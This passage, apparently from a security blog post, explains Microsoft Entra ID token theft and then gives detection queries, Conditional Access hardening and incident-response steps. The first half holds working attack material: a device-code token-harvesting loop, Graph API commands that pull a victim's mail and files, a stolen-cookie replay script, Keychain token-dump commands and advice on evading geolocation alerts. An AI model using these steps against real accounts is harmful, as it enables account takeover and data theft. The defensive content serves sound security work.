print(\"Access token:\", resp[\"access_token\"])
print(\"Refresh token:\", resp[\"refresh_token\"])
break
elif resp.get(\"error\") == \"authorization_pending\":
time.sleep(5)
elif resp.get(\"error\") == \"expired_token\":
print(\"[-] Code expired, regenerate\")
break
Step 3 Victim receives phishing email, enters code on real Microsoft page
\nThe victim navigates to https://microsoft.com/devicelogin Microsoft's own domain, valid certificate, no phishing indicators enters ABCD-EFGH, signs in with their real credentials, completes MFA (push, TOTP, whatever), and clicks \"Continue.\"
Step 4 Attacker's polling loop returns tokens
\nThe moment the victim clicks \"Continue,\" the next poll returns:
\n{
\"token_type\": \"Bearer\",
\"scope\": \"openid profile email offline_access https://graph.microsoft.com/.default\",
\"expires_in\": 3599,
\"access_token\": \"eyJ0eXAiOiJKV1QiLCJub25jZSI6....\",
\"refresh_token\": \"0.AUkA2...[90-day token]\",
\"id_token\": \"eyJ0eXAiOiJKV1Qi...\"
}
The attacker now has:
\nMFA was satisfied. By the victim. For the attacker's session. This is working as designed.
\nWith the Graph API access token, the attacker immediately begins reconnaissance:
\n# Enumerate all mailbox contents
curl -H \"Authorization: Bearer <access_token>\" \\
\"https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,from,receivedDateTime\"
# Download all files from OneDrive
curl -H \"Authorization: Bearer <access_token>\" \\
\"https://graph.microsoft.com/v1.0/me/drive/root/children\"
# Enumerate Teams messages
curl -H \"Authorization: Bearer <access_token>\" \\
\"https://graph.microsoft.com/v1.0/me/chats/getAllMessages\"
# List all users in the tenant
curl -H \"Authorization: Bearer <access_token>\" \\
\"https://graph.microsoft.com/v1.0/users?$top=999&$select=displayName,mail,userPrincipalName,jobTitle\"
# Get all groups and memberships (identify privileged groups)
curl -H \"Authorization: Bearer <access_token>\" \\
\"https://graph.microsoft.com/v1.0/me/memberOf\"
Within the first 15 minutes of the access token lifetime, a threat actor can extract the full mailbox content of a C-suite executive, identify all privileged groups and their members, exfiltrate all OneDrive and SharePoint files accessible to that user, and read all Teams conversation history including channels with sensitive strategic discussions.
\nThe refresh token extends this for 90 days:
\n# Refresh token exchange get new access token when old one expires
r = requests.post(
\"https://login.microsoftonline.com/common/oauth2/v2.0/token\",
data={
\"grant_type\": \"refresh_token\",
\"client_id\": \"d3590ed6-52b3-4102-aeff-aad2292ab01c\",
\"refresh_token\": \"<90-day token>\",
\"scope\": \"https://graph.microsoft.com/.default offline_access\"
}
)
# Returns a new access_token + new refresh_token (sliding window)
The refresh token slides each use extends the window. As long as the attacker uses it at least every 90 days, access is persistent until an administrator explicitly revokes all user refresh tokens.
\nEarly device code phishing campaigns had a critical weakness: the code expired 15 minutes after generation. Attackers who pre-generated codes and embedded them in bulk phishing emails lost the race if the victim opened the email more than 15 minutes after sending.
\nThe SquarePhish2 toolkit and the EvilTokens PhaaS platform (documented in early 2026) solve this with dynamic generation:
\n\nThe victim has a 15-minute window from the moment they click which is far more than enough time to complete authentication. The attacker's timing problem is completely eliminated.
\nDevice code phishing manipulates the issuance process. Token replay skips it entirely the attacker steals a token that was issued legitimately during a real user session.
\nWhen a user authenticates to Microsoft 365, Entra ID issues session cookies. The most valuable: ESTSAUTH and ESTSAUTHPERSISTENT the session cookies that represent a completed, MFA-satisfied authentication.
\n# Chrome/Edge store cookies in a SQLite database
# Windows path:
%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Network\\Cookies
%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies
# macOS path:
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Microsoft Edge/Default/Cookies
The ESTSAUTH cookie, once extracted, can be replayed in a browser on any machine:
\n# Using requests to replay the stolen session cookie
import requests
session = requests.Session()
session.cookies.set(
'ESTSAUTH', '<stolen_cookie_value>',
domain='login.microsoftonline.com'
)
session.cookies.set(
'ESTSAUTHPERSISTENT', '<stolen_persistent_cookie>',
domain='login.microsoftonline.com'
)
# Access Microsoft 365 with the victim's authenticated session
r = session.get(\"https://outlook.office.com/mail/\")
# Returns the victim's inbox no credential prompt, no MFA prompt
Microsoft Edge on macOS caches OAuth tokens including refresh tokens and in some cases Primary Refresh Tokens in the macOS Keychain. This was documented by security researchers in late 2025:
\n# List all Microsoft-related Keychain entries
security find-internet-password -l \"Microsoft Edge\" -g 2>&1 | grep -i \"microsoft\\|azure\\|msal\"
# Specific entries to look for:
# \"refreshtoken-1--<guid>\" OAuth refresh token
# \"primaryrefreshtoken-1--<guid>\" Primary Refresh Token (most valuable)
# \"accesstoken-1--<guid>\" Short-lived access token
# Export a specific entry:
security find-generic-password -a \"refreshtoken\" -s \"Microsoft Edge\" -w
With the extracted refresh token, the attacker replays it using TokenTactics or a custom script:
\n# TokenTactics PowerShell module for token manipulation
Import-Module TokenTactics
# Refresh a stolen token for new access token
$tokens = RefreshTo-MSGraphToken -refreshToken \"<stolen_refresh_token>\" `
-tenantId \"<tenant_id>\" `
-clientId \"d3590ed6-52b3-4102-aeff-aad2292ab01c\"
$tokens.access_token # New access token immediate Graph API access
$tokens.refresh_token # New refresh token sliding 90-day window
The most scalable token theft mechanism is the AiTM reverse proxy documented extensively in Tycoon 2FA campaigns (which comprised 65% of PhaaS-driven credential attacks in H1 2025 per Ontinue):
\n\nThe proxy sits transparently between user and Microsoft. The user completes real MFA. Microsoft issues real session cookies. The proxy captures them before forwarding to the user's browser. Both parties see a successful authentication. The attacker has the cookies.
\nOnce the attacker replays the token from their own IP, a geographic anomaly exists. However, token replay has a structural advantage over password-based attacks in evading impossible travel detection:
\nNon-interactive sign-ins don't always trigger impossible travel. When an attacker uses a refresh token to silently obtain new access tokens, these appear as non-interactive sign-ins in Entra ID logs not evaluated against the same risk policies as interactive sign-ins by default in many tenant configurations.
\nThe timing gap allows geographic plausibility. If the attacker waits several hours after token theft before using it from a distant location, the time delta makes the impossible travel calculation ambiguous.
\nCommercial VPN and residential proxy services trivially bypass IP geolocation. Attackers use residential proxies in the victim's city or country to make the access appear local.
\nThe Primary Refresh Token is a special OAuth artifact issued by Entra ID to Azure AD joined or registered devices. It is the single most powerful token in the Microsoft identity stack:
\n| Token Type | Scope | Lifetime | MFA Claim | Device Bound |
|---|---|---|---|---|
| Access Token | Specific resource | 60–90 min | Claims inherited | No |
| Refresh Token | Tenant-wide | 90 days | Claims inherited | No |
| Primary Refresh Token | Any Entra ID resource | 14 days (rolling) | Can satisfy MFA claim | Yes (TPM-protected on W11) |
A PRT includes a device_id claim and the MFA authentication method claim (amr). When a Conditional Access policy requires \"MFA required\" AND \"compliant device,\" the PRT can satisfy both conditions simultaneously. This is why PRT theft is the top-tier attack: stolen PRT → can bypass device compliance checks AND MFA requirements that a stolen access token or refresh token cannot bypass.
On Windows 10 and 11 without TPM, the PRT is stored in LSASS memory and the Windows Credential Manager:
\n# Check if the current device has a PRT:
dsregcmd /status
# Output indicates PRT presence:
# AzureAdPrt : YES
# AzureAdPrtUpdateTime : 2025-01-15 09:23:44.000 UTC
# AzureAdPrtExpiryTime : 2025-01-29 09:23:44.000 UTC
With SYSTEM-level access on the machine, an attacker can extract the PRT using tools that read from LSASS or the Windows Credential Manager:
\n# ROADToken defensive research tool for PRT analysis
# Request a new access token using the extracted PRT
.\\ROADToken.exe --prt <extracted_prt> --prt-sessionkey <session_key> `
--resource https://graph.microsoft.com/
# The resulting access token satisfies device compliance claims
# even when used from a different machine
On Windows 11 with TPM: The PRT is bound to the TPM chip, making extraction dramatically harder the private key used to prove PRT possession never leaves the TPM. However, Hyper-V Generation 1 VMs don't have TPM support, cloud-hosted VMs must be explicitly configured with vTPM, and UEFI/BIOS access can disable TPM.
\nResearcher Dirk-jan Mollema documented a technique where device code phishing, combined with device registration, can yield a full PRT:
\nAttack chain to obtain PRT via device code phishing:
Step 1: Attacker initiates device code flow for the Windows broker app
client_id = 29d9ed98-a469-4536-ade2-f981bc1d605e (Microsoft broker)
scope = openid profile offline_access
Step 2: Victim completes MFA (fresh MFA claim in the resulting token)
Step 3: Attacker has refresh token + fresh MFA claim
Step 4: Attacker registers a new device to the tenant
POST https://login.microsoftonline.com/common/oauth2/v2.0/token
{grant_type: refresh_token, scope: \"urn:ms-drs:enterpriseregistration...\"}
Step 5: With device registered, attacker requests PRT for that device
The PRT now carries: valid device_id + MFA claim from step 2
Step 6: Attacker uses PRT to access ANY resource gated by:
\"Require MFA\" ✓ (MFA claim from step 2)
\"Require compliant device\" ✓ (registered device from step 4)
KQL query to detect this device registration abuse:
\n// Detect device registration immediately following device code authentication
let DeviceCodeLogins = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == \"deviceCode\"
| where ResultType == \"0\"
| project UserPrincipalName, DeviceCodeTime = TimeGenerated,
IPAddress, CorrelationId;
let DeviceRegistrations = AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == \"Register device\"
or OperationName == \"Add registered users to device\"
| extend UPN = tostring(InitiatedBy.user.userPrincipalName)
| project UPN, RegistrationTime = TimeGenerated,
DeviceName = tostring(TargetResources[0].displayName);
DeviceCodeLogins
| join kind=inner DeviceRegistrations on $left.UserPrincipalName == $right.UPN
| where (RegistrationTime - DeviceCodeTime) between (0min .. 30min)
| project UserPrincipalName, DeviceCodeTime, RegistrationTime,
IPAddress, DeviceName, CorrelationId
| sort by DeviceCodeTime desc
Entra ID produces three sign-in log types, and they are not equally monitored:
\n| Log Table | What It Captures | Default Retention | Alert Coverage |
|---|---|---|---|
SigninLogs | Interactive sign-ins (browser, client app prompts) | 30 days | High most orgs monitor this |
NonInteractiveUserSignInLogs | Silent token refreshes (background, refresh_token grants) | 30 days | Low often not ingested into SIEM |
ServicePrincipalSignInLogs | App-to-app authentication | 30 days | Medium |
ManagedIdentitySignInLogs | Managed identity token requests | 30 days | Low |
The critical gap: Token replay most commonly appears in NonInteractiveUserSignInLogs. When an attacker uses a stolen refresh token to silently obtain new access tokens, this generates entries in that table not in SigninLogs. Many organizations either don't ingest this table into their SIEM, or don't alert on it with the same rigor.
{
\"UserPrincipalName\": \"victim@company.com\",
\"AppDisplayName\": \"Microsoft Office\",
\"ClientAppUsed\": \"Mobile Apps and Desktop clients\",
\"AuthenticationProtocol\": \"deviceCode\",
\"AuthenticationRequirement\": \"singleFactorAuthentication\",
\"ConditionalAccessStatus\": \"success\",
\"IPAddress\": \"185.220.101.x\",
\"Location\": {
\"City\": \"Frankfurt\",
\"CountryOrRegion\": \"DE\"
},
\"DeviceDetail\": {
\"deviceId\": \"\",
\"displayName\": \"\",
\"operatingSystem\": \"\",
\"browser\": \"\"
},
\"RiskDetail\": \"none\",
\"ResultType\": \"0\"
}
Key forensic indicators:
\nAuthenticationProtocol == \"deviceCode\" the smoking gunDeviceDetail fields empty the token was not bound to a registered deviceIPAddress belongs to attacker infrastructure, not the victim's known IPs{
\"UserPrincipalName\": \"victim@company.com\",
\"AppDisplayName\": \"Microsoft Graph\",
\"AuthenticationProtocol\": \"none\",
\"IsInteractive\": false,
\"IPAddress\": \"45.152.x.x\",
\"Location\": {\"CountryOrRegion\": \"NL\"},
\"TokenIssuerType\": \"AzureAD\",
\"RiskDetail\": \"none\",
\"UniqueTokenIdentifier\": \"ZGJhNzQ4...\"
}
The attacker's access pattern will show consistent non-interactive sign-ins at regular intervals (token refresh), from a consistent IP (the attacker's server), accessing Microsoft Graph API endpoints not typical for the victim's normal work pattern.
\nThe highest-fidelity starting point. Device code flow is rarely legitimate for standard enterprise users:
\n// Detect device code authentication where no device is registered
SigninLogs
| where TimeGenerated > ago(7d)
| where AuthenticationProtocol == \"deviceCode\"
| where ResultType == \"0\"
| where isempty(DeviceDetail.deviceId)
| extend
Country = tostring(LocationDetails.countryOrRegion),
City = tostring(LocationDetails.city)
| summarize
Count = count(),
UniqueIPs = dcount(IPAddress),
Countries = make_set(Country),
LastSeen = max(TimeGenerated)
by UserPrincipalName, AppDisplayName
| where Count > 0
| sort by LastSeen desc
Tighter version alert on any device code sign-in for users not in an allowlist:
\n// Maintain an allowlist of users/apps with legitimate device code needs
let AllowedDeviceCodeUsers = dynamic([
\"iot-admin@company.com\",
\"printserver-svc@company.com\"
]);
SigninLogs
| where TimeGenerated > ago(1d)
| where AuthenticationProtocol == \"deviceCode\"
| where ResultType == \"0\"
| where UserPrincipalName !in (AllowedDeviceCodeUsers)
| project TimeGenerated, UserPrincipalName, IPAddress,
AppDisplayName, LocationDetails, CorrelationId
| sort by TimeGenerated desc
Expected false positive rate when allowlist is properly configured: near zero. Device code flow has no legitimate user-facing application in most enterprise environments.
\nThis query deliberately targets the gap non-interactive sign-ins are where token replay hides:
\n// Detect impossible travel in NonInteractiveUserSignInLogs
// (The table most orgs forget to monitor)
let TimeDeltaThresholdMinutes = 60;
let MinDistanceKm = 500;
NonInteractiveUserSignInLogs
| where TimeGenerated > ago(24h)
| where ResultType == \"0\"
| extend
Lat = toreal(LocationDetails.geoCoordinates.latitude),
Lon = toreal(LocationDetails.geoCoordinates.longitude),
Country = tostring(LocationDetails.countryOrRegion)
| where isnotempty(Lat) and isnotempty(Lon)
| sort by UserPrincipalName asc, TimeGenerated asc
| serialize
| extend
PrevLat = prev(Lat, 1),
PrevLon = prev(Lon, 1),
PrevTime = prev(TimeGenerated, 1),
PrevUser = prev(UserPrincipalName, 1)
| where UserPrincipalName == PrevUser
| extend
TimeDeltaMin = datetime_diff('minute', TimeGenerated, PrevTime),
DistanceKm = 111.0 * sqrt(pow(Lat - PrevLat, 2) + pow(Lon - PrevLon, 2))
| where TimeDeltaMin < TimeDeltaThresholdMinutes
| where DistanceKm > MinDistanceKm
| project TimeGenerated, UserPrincipalName,
CurrentIP = IPAddress, CurrentCountry = Country,
TimeDeltaMin, DistanceKm, AppDisplayName,
UniqueTokenIdentifier
| sort by TimeGenerated desc
// Join SigninLogs to MicrosoftGraphActivityLogs to see what a token did
// Requires Graph Activity Logs to be configured in Log Analytics
let SuspiciousTokens = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == \"deviceCode\"
| where ResultType == \"0\"
| project UniqueTokenIdentifier, UserPrincipalName,
SigninTime = TimeGenerated, SigninIP = IPAddress;
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(24h)
| join kind=inner SuspiciousTokens on $left.UniqueTokenIdentifier == $right.UniqueTokenIdentifier
| project TimeGenerated, UserPrincipalName, RequestUri,
ResponseStatusCode, ClientIpAddress, SigninIP
| sort by TimeGenerated asc
// High-fidelity: device registered immediately after device code auth
// Near-zero false positive rate in standard enterprise environments
let lookback = 1h;
let DeviceCodeEvents = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == \"deviceCode\"
| where ResultType == \"0\"
| project UserPrincipalName, DCTime = TimeGenerated,
DCIPAddress = IPAddress, CorrelationId;
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName in (\"Register device\", \"Add registered users to device\",
\"Add member to role\", \"Add eligible member to role\")
| extend ActorUPN = tostring(InitiatedBy.user.userPrincipalName)
| where isnotempty(ActorUPN)
| join kind=inner DeviceCodeEvents on $left.ActorUPN == $right.UserPrincipalName
| extend TimeDelta = TimeGenerated - DCTime
| where TimeDelta between (0min .. lookback)
| project ActorUPN, OperationName, TimeGenerated, DCTime,
TimeDelta, DCIPAddress,
TargetResource = tostring(TargetResources[0].displayName)
| sort by TimeGenerated desc
Legitimate users don't query the Graph API in bulk at 3 AM:
\n// Detect anomalous Graph API query volume from non-interactive sessions
// Indicator of automated data exfiltration using stolen tokens
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(24h)
| where RequestMethod in (\"GET\")
| extend
Hour = hourofday(TimeGenerated),
UPN = tostring(UserId)
| summarize
RequestCount = count(),
UniqueEndpoints = dcount(RequestUri),
UniqueTokens = dcount(UniqueTokenIdentifier)
by UPN, bin(TimeGenerated, 1h)
| where RequestCount > 500
| where Hour between (0 .. 6)
| sort by RequestCount desc
Microsoft added the Authentication Flows Conditional Access condition specifically to address device code abuse:
\nConditional Access Policy: \"Block Device Code Flow\"
─────────────────────────────────────────────────────
Assignments:
Users: All users
Exclude: Break-glass accounts, service accounts with documented IoT needs
Target Resources:
Cloud apps: All cloud apps
Conditions:
Authentication flows: Device code flow
Grant:
Block access
─────────────────────────────────────────────────────
Before enabling in enforcement mode, audit your environment:
\nConnect-MgGraph -Scopes \"AuditLog.Read.All\"
$filter = \"authenticationProtocol eq 'deviceCode' and \" +
\"createdDateTime ge $(([datetime]::UtcNow.AddDays(-30)).ToString('o'))\"
$signIns = Get-MgAuditLogSignIn -Filter $filter -All -Top 999
$signIns | Select-Object -Property UserPrincipalName, AppDisplayName,
IPAddress, CreatedDateTime |
Group-Object UserPrincipalName |
Sort-Object Count -Descending |
Select-Object Name, Count, @{N='Apps';E={($_.Group.AppDisplayName | Sort-Object -Unique) -join ', '}} |
Export-Csv \"device_code_usage.csv\" -NoTypeInformation
| Gap | Why It Exists | What an Attacker Exploits |
|---|---|---|
| Device code flow not blocked | Policy condition added by Microsoft in 2023 many tenants haven't revisited CA policies since | Full device code phishing as described above |
| Non-interactive sign-ins not evaluated | CA policies apply to interactive flows by default | Stolen refresh token replayed silently bypasses current-state CA evaluation |
| Compliant device requirement not enforced for web apps | Friction concerns | Token replayed in non-compliant browser bypasses device requirement |
| Named Locations not maintained | IT lists corporate office IPs but forgets VPN egress, trusted vendor ranges | All authenticated sessions from \"unknown\" locations generate low-signal alerts |
| Legacy authentication not fully blocked | Some legacy apps break when legacy auth is disabled | Brute-force via SMTP, IMAP, EWS these protocols don't support MFA at all |
| Admin role assignments not MFA + PIM protected | Convenience: admins dislike step-up auth | Stolen token from standard user account can be used to escalate if admin roles aren't PIM-gated |
Continuous Access Evaluation (CAE) allows certain Microsoft services (Exchange Online, SharePoint, Teams, Graph) to re-evaluate access in near-real-time when risk signals change.
\nWhat CAE protects against:
\nWhat CAE does NOT protect against:
\n# Create a custom policy with shorter access token lifetime
$tokenLifetimePolicy = @{
Definition = @(
'{\"TokenLifetimePolicy\":{\"Version\":1,\"AccessTokenLifetime\":\"00:30:00\"}}'
)
DisplayName = \"ShortAccessTokenPolicy\"
IsOrganizationDefault = $false
}
New-MgPolicyTokenLifetimePolicy -BodyParameter $tokenLifetimePolicy
More impactful: Sign-in Frequency policy in Conditional Access
\nCA Policy: \"Require re-authentication for sensitive apps\"
─────────────────────────────────────────────────────────
Assignments:
Users: All users
Target: Azure portal, Exchange Online (admin operations), Graph Explorer
Session Controls:
Sign-in frequency: 4 hours (or 1 hour for highest-sensitivity)
Persistent browser session: Never persistent
─────────────────────────────────────────────────────────
If you have confirmed token theft, here is the exact remediation sequence. Order matters:
\n\n# Step 1: Revoke ALL refresh tokens for the affected user
Connect-MgGraph -Scopes \"User.ReadWrite.All\"
$userId = \"victim@company.com\"
Invoke-MgRevokeUserSignInSession -UserId $userId
# Verify revocation:
Get-MgUser -UserId $userId -Property \"signInSessionsValidFromDateTime\" |
Select-Object signInSessionsValidFromDateTime
# Step 2: Disable account to force block non-CAE clients immediately
Update-MgUser -UserId $userId -AccountEnabled $false
# Wait 60 minutes, then re-enable
# Step 3: Remove any malicious device registrations
Get-MgUserRegisteredDevice -UserId $userId |
Select-Object Id, DisplayName, RegistrationDateTime, TrustType |
Sort-Object RegistrationDateTime -Descending
# Compare against known-good devices; remove suspicious ones:
Remove-MgUserRegisteredDevice -UserId $userId -DirectoryObjectId \"<suspicious_device_id>\"
# Step 4: Remove malicious inbox rules created for persistence
Connect-ExchangeOnline
Get-InboxRule -Mailbox $userId |
Where-Object {$_.DeleteMessage -eq $true -or $_.ForwardTo -ne $null} |
Select-Object Name, ForwardTo, DeleteMessage, MarkAsRead
# Remove any rules not created by the user:
Remove-InboxRule -Mailbox $userId -Identity \"<rule_name>\"
# Step 5: Remove OAuth application consent grants
Get-MgUserOAuth2PermissionGrant -UserId $userId |
Select-Object ClientId, Scope, ConsentType
Remove-MgOAuth2PermissionGrant -OAuth2PermissionGrantId \"<grant_id>\"
# Step 6: Check for new MFA methods added by attacker
Get-MgUserAuthenticationMethod -UserId $userId
# Look for unrecognized phone numbers, TOTP authenticators, or FIDO keys
After containment, reconstruct exactly what the attacker accessed:
\n// Full activity reconstruction for a compromised account
let CompromisedUser = \"victim@company.com\";
let AttackStart = datetime(2025-01-15 23:00:00);
let AttackEnd = datetime(2025-01-16 06:00:00);
// All authentication events
SigninLogs
| where TimeGenerated between (AttackStart .. AttackEnd)
| where UserPrincipalName == CompromisedUser
| project TimeGenerated, Type=\"Interactive Sign-in\",
Details=strcat(AppDisplayName, \" from \", IPAddress, \" (\",
tostring(LocationDetails.countryOrRegion), \")\"),
AuthProtocol = AuthenticationProtocol,
Risk = RiskLevelAggregated
| union (
NonInteractiveUserSignInLogs
| where TimeGenerated between (AttackStart .. AttackEnd)
| where UserPrincipalName == CompromisedUser
| project TimeGenerated, Type=\"Silent Token Refresh\",
Details=strcat(AppDisplayName, \" from \", IPAddress),
AuthProtocol = AuthenticationProtocol,
Risk = RiskLevelAggregated
)
| union (
AuditLogs
| where TimeGenerated between (AttackStart .. AttackEnd)
| where InitiatedBy.user.userPrincipalName == CompromisedUser
| project TimeGenerated, Type=\"Directory Action\",
Details=strcat(OperationName, \": \", tostring(TargetResources[0].displayName)),
AuthProtocol=\"N/A\",
Risk=\"N/A\"
)
| sort by TimeGenerated asc
| project TimeGenerated, Type, Details, AuthProtocol, Risk
| Control | Priority | Complexity | Risk Reduction | Caveats |
|---|---|---|---|---|
| Block device code flow in CA | P0 | Low | Eliminates device code phishing entirely | Audit first; may break IoT/legacy integrations |
| Enable NonInteractiveUserSignInLogs in SIEM | P0 | Low | Closes major detection gap | Log volume increase; ensure retention |
| Phishing-resistant MFA (FIDO2 / Passkeys) | P1 | Medium | Eliminates AiTM credential theft | Requires hardware keys or compatible devices |
| Block legacy authentication protocols | P1 | Medium | Eliminates SMTP/IMAP brute force | Break legacy apps first; test in report mode |
| Require compliant device for all cloud apps | P1 | High | Token replay from unmanaged device fails CA | Requires full Intune enrollment; user friction |
| Sign-in frequency: 1–4h for sensitive resources | P1 | Low | Limits token replay window | Re-auth friction for legitimate users |
| CAE for Exchange/SharePoint/Teams | P2 | Low | Token revocation propagates in minutes | Requires CAE-capable clients |
| Restrict OAuth app consent to admin-approved apps | P2 | Medium | Blocks illicit consent attacks | Administrative overhead for app approvals |
| TPM enforcement on all Windows devices | P2 | High | Makes PRT extraction infeasible | Hardware refresh may be required |
| Token Protection CA policy (preview) | P2 | Low | Binds tokens to specific devices | Preview feature; limited app support |
\"Phishing-resistant MFA\" specifically refers to authenticator methods where the credential is cryptographically bound to the relying party origin meaning even an AiTM proxy cannot intercept it.
\nThis applies to:
\nThis does not apply to:
\n1. Run the device code audit query today. Find out if device code phishing is already happening in your tenant. Pull 30 days of SigninLogs where AuthenticationProtocol == \"deviceCode\". The results will either be reassuring or immediately actionable.
2. Ensure NonInteractiveUserSignInLogs are being ingested into your SIEM. If they're not, you have a blind spot for token replay. This is a configuration change, not a product purchase.
3. Put the \"Block device code flow\" CA policy into report mode immediately. See what breaks. You have 30 days of sign-in data to assess impact. Most environments will find near-zero legitimate usage.
\n4. Identify your highest-value accounts (executives, IT admins, finance leads). Enforce FIDO2 hardware keys for these users first. The threat model for a CFO being device-code-phished is categorically different from a general workforce user.
\n5. Create a token revocation runbook. When a token theft incident is confirmed, your team needs to execute the revocation sequence in under 10 minutes. If that process requires a 30-minute approval chain, the attacker has already pivoted.
\n| Date | Event |
|---|---|
| 2021 | Secureworks documents OAuth device code phishing targeting Russia-linked threat actors; publishes SquarePhish |
| Mid-2024 | Microsoft tracks Storm-2372 (Russia-aligned) using device code phishing against governments, NGOs, and enterprises across 15+ countries |
| Feb 2025 | Microsoft publicly discloses Storm-2372 campaign; attributes with high confidence to Russian state actors |
| June 2025 | ShinyHunters/Scattered Spider use OAuth token theft via Salesloft/Drift integration to breach Salesforce at 700+ organizations including Cloudflare, Zscaler, Tenable |
| Sep 2025 | Proofpoint observes \"highly unusual\" surge in device code phishing campaigns multiple threat clusters adopt simultaneously |
| Oct 2025 | TA2723 (financially motivated) begins using device code phishing at scale technique crosses from APT to commodity cybercrime |
| Dec 2025 | Proofpoint publishes research; SquarePhish2 and Graphish phishing kits publicly documented |
| Feb 2026 | EvilTokens PhaaS platform emerges device code phishing fully commoditized as a service offering |
| Apr 2026 | Microsoft documents AI-enabled device code phishing campaign using dynamic code generation and Railway.com backend automation |